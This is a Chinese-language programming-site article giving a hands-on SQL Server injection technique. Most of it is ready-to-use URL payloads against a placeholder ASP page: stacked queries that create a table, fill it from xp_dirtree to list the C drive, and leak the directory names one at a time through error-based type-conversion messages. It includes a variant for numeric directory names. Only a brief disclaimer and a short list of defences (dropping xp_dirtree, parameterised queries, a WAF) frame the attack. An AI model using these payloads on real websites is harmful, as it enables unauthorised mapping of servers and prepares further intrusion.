首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 注入攻擊實戰技巧(一):xp_dirtree 目錄遍歷

     編輯:關於SqlServer

聲明:本文僅供安全研究與防禦參考,嚴禁用於非法入侵。

當目標網站僅開放 80 連接埠,且存在 SQL 注入點時,可利用 SQL Server 擴展預存程序 xp_dirtree 遍歷伺服器目錄結構,再透過錯誤回顯(Error-based)逐筆「爆出」目錄名稱。以下為實戰流程記錄。

核心原理

  • xp_dirtree 'C:\' 可列出 C 槽所有目錄(含子目錄),權限為 PUBLIC,所有 SQL Server 使用者皆可呼叫。
  • 建立暫存表存放結果,再利用型別轉換錯誤(varchar -> int)將目錄名「爆」在錯誤訊息中。

實戰步驟

  1. 建表:https://target/list.asp?id=1;create table dirs(paths varchar(1000))--
  2. 寫入目錄:https://target/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:\'--
  3. 逐筆爆出:
    -- 第一筆
    https://target/list.asp?id=1 and 0<>(select top 1 paths from dirs)--
    -- 錯誤訊息顯示:'@Inetpub'
    
    -- 第二筆(排除已知)
    https://target/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--
    -- 依此類推,每獲得一個名稱就加入 not in 列表

進階技巧:利用比較運算子猜解數字目錄名

若目錄名為純數字(如 59),直接 0<> 可能不報錯(因隱含轉換成功)。改用大小比較快速定位:

https://target/list.asp?id=1 and 100>(select top 1 paths from dirs)--
https://target/list.asp?id=1 and 59=(select top 1 paths from dirs)-- 確認名稱
-- 排除時注意前導零:'059' ≠ '59'

優缺點分析

優點缺點
所有 SQL Server 版本通用(PUBLIC 權限)一次列出所有層級目錄,無序、數量龐大,人工篩選極難
無需 sa 權限無法直接得知目錄完整路徑,需靠運氣猜測 Web 根目錄

防禦建議

  • 移除或禁用 xp_dirtree(sp_dropextendedproc 'xp_dirtree'),但需注意會影響資料庫附加/還原功能。
  • 採用參數化查詢、最小權限原則、WAF 阻擾異常 SQL 關鍵字。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved